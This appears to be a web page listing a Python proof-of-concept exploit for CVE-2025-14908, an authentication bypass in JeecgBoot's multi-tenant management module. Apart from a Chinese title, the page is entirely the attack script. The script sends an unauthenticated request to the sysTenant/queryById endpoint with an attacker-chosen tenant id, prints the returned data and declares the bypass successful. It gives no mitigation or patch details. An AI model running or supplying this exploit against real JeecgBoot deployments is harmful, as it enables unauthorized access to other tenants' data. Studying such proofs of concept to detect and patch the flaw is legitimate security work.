JeecgBoot多租户管理模块认证绕过漏洞 (CVE-2025-14908)

import requests import sys # CVE-2025-14908 PoC - JeecgBoot Multi-Tenant Authentication Bypass # Target: JeecgBoot <= 3.9.0 # Vulnerability: Improper Authentication in SysTenantController def exploit(target_url, tenant_id): """ Exploit authentication bypass in JeecgBoot tenant management module. Replace TENANT_ID with target tenant ID. """ # Target endpoint - tenant query API endpoint = f"{target_url}/jeecg-boot/sysTenant/queryById" # Malicious payload with manipulated ID parameter params = { "id": tenant_id # Attacker-controlled tenant ID } # HTTP headers headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: # Send crafted request to bypass authentication response = requests.get(endpoint, params=params, headers=headers, timeout=10) print(f"[*] Target: {target_url}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200 and "tenant" in response.text.lower(): print("[+] Authentication bypass successful!") return True else: print("[-] Exploitation failed or target not vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <tenant_id>") print(f"Example: python {sys.argv[0]} http://target.com 1") sys.exit(1) target = sys.argv[1] tid = sys.argv[2] exploit(target, tid)